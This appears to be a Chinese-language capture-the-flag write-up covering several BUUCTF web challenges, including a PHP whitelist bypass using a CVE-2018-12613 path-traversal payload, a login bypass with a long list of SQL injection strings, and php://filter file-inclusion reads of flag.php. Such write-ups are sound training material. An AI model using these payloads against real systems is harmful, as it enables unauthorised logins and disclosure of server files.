buuctf

warm up

在这里插入图片描述
查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

mt_strpos所起到的作用是返回目标字符串首次出现的位置,联系mb_substr所起到的作用是截取目标字符串对应位置的内容,结合起来就是返回传入变量$page匹配到第一个?之前的内容,直接用CVE-2018-12613的poc和hint.php的内容利用文件包含构造
?file=hint.php%253f/../../../../../ffffllllaaaagggg

[极客大挑战 2019]EasySQL1

在这里插入图片描述
这个是比较简单的sql注入,可以先判断
在这里插入图片描述SQL注入万能密码:’or’=’or’
admin
admin’–
admin’ or 4=4–
admin’ or ‘1’=’1’–
admin888
“or “a”=”a
admin’ or 2=2#
a’ having 1=1#
a’ having 1=1–
admin’ or ‘2’=’2
‘)or(‘a’=’a
or 4=4–
c
a’or’ 4=4–
“or 4=4–
‘or’a’=’a
“or”=”a’=’a
‘or’’=’
‘or’=’or’
1 or ‘1’=’1’=1
1 or ‘1’=’1’ or 4=4
‘OR 4=4%00
“or 4=4%00
‘xor
admin’ UNION Select 1,1,1 FROM admin Where ‘’=’
1
-1%cf’ union select 1,1,1 as password,1,1,1 %23
1
17..admin’ or ‘a’=’a 密码随便
‘or’=’or’
‘or 4=4/

something
‘ OR ‘1’=’1
1’or’1’=’1
admin’ OR 4=4/

1’or’1’=’1**
本题使用的是admin’ or ‘1’=’1’#,1=1永真,而且#可以注释掉后面的语句,所以密码是什么不重要。
在这里插入图片描述

[极客大挑战 2019]Havefun1

在这里插入图片描述

1
2
3
4
5
6
7
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

由题可知需要用get的方式上传cat=dog,http://d3a8ff66-7665-4869-875d-e693623fb2d3.node3.buuoj.cn/?cat=dog,即可拿到flag。

[ACTF2020 新生赛]Include1

在这里插入图片描述这是一道文件包含漏洞题,点击tips
在这里插入图片描述/?file=php://filter/read=convert.base64-encode/resource=flag.php,出现base64形式,即可。
在这里插入图片描述

CTF [极客大挑战 2019]Secret File

知识点:
一、前端中背景可以覆盖内容,页面源代码可以查看完整的html
二、在php文件中可以写入html代码,html可在前端展示出来,php代码主要是处理数据,通常不会展示。
三、文件包含漏洞,PHP伪协议获取文件

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

环境概要:
PHP.ini:
allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。
在这里插入图片描述
查看源代码
发现有被隐藏的网页Archive_room.php,打开
在这里插入图片描述点击SECRET,在这里插入图片描述快速跳转,需要抓包
在这里插入图片描述发现在secr3t.php
在这里插入图片描述
发现flag在flag.php上
在这里插入图片描述是文件包含漏洞,直接构造view-source:http://afffc056-5cff-4ef2-aa1f-61d65effcc4c.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php,最后编码即可